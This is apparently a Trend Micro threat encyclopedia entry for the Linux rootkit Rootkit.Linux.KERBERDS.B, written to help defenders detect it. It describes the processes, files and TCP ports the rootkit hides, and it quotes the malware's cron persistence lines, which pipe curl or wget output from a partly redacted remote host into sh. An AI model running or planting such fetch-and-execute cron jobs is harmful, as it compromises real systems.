Rootkit.Linux.KERBERDS.B
HEUR:Rootkit.Linux.Processhider.b (KASPERSKY)
Linux
Threat Type: Rootkit
Destructiveness: No
Encrypted: No
In the wild: Yes
OVERVIEW
Dropped by other malware, Downloaded from the Internet
This Rootkit arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites. It may be dropped by other malware.
TECHNICAL DETAILS
26,216 bytes
ELF
Yes
24 Oct 2019
Hides files and processes, Connects to URLs/IPs
Arrival Details
This Rootkit arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.
It may be dropped by the following malware:
Other Details
This Rootkit does the following:
- It is used by Trojan.Linux.KERBERDS.UWEJL for its rootkit capabilities.
- It displays a fake instance of the CPU usage.
- It hides processes with the following names:
- defr_wqs
- a64-unpacked
- It hides files with names containing any of the following strings:
- defr_wqs
- ld.so.preload
- libBrokenLocalec.so
- It hides TCP connections which satisfy any of the following conditions:
- Local TCP port = 51640
- Remote TCP port = 51640
- Remote TCP port = 6379
- Remote TCP port = 22
- It connects to the following URL(s) to download and execute another shell script:
- http://lsd.{BLOCKED}ten.org
- It creates the following cron jobs to enable automatic execution of a shell script found in lsd.{BLOCKED}ten.org:
- Path: /etc/cron.d/root
Schedule: Every 10 minutes
Command: */10 * * * * root (curl -fsSL http://lsd.{BLOCKED}ten.org||wget -q -O- http://lsd.{BLOCKED}ten.org)|sh - Path: /var/spool/cron/root
Schedule: Every 15 minutes
Command: */15 * * * * (curl -fsSL http://lsd.{BLOCKED}ten.org||wget -q -O- http://lsd.{BLOCKED}ten.org)|sh - Path: /var/spool/cron/crontabs/root
Schedule: Every 30 minutes
Command: */30 * * * * (curl -fsSL http://lsd.{BLOCKED}ten.org||wget -q -O- http://lsd.{BLOCKED}ten.org)|sh
- Path: /etc/cron.d/root
SOLUTION
9.850
15.450.07
24 Oct 2019
15.451.00
25 Oct 2019
Scan your computer with your Trend Micro product to delete files detected as Rootkit.Linux.KERBERDS.B. If the detected files have already been cleaned, deleted, or quarantined by your Trend Micro product, no further step is required. You may opt to simply delete the quarantined files. Please check the following Trend Micro Support pages for more information:
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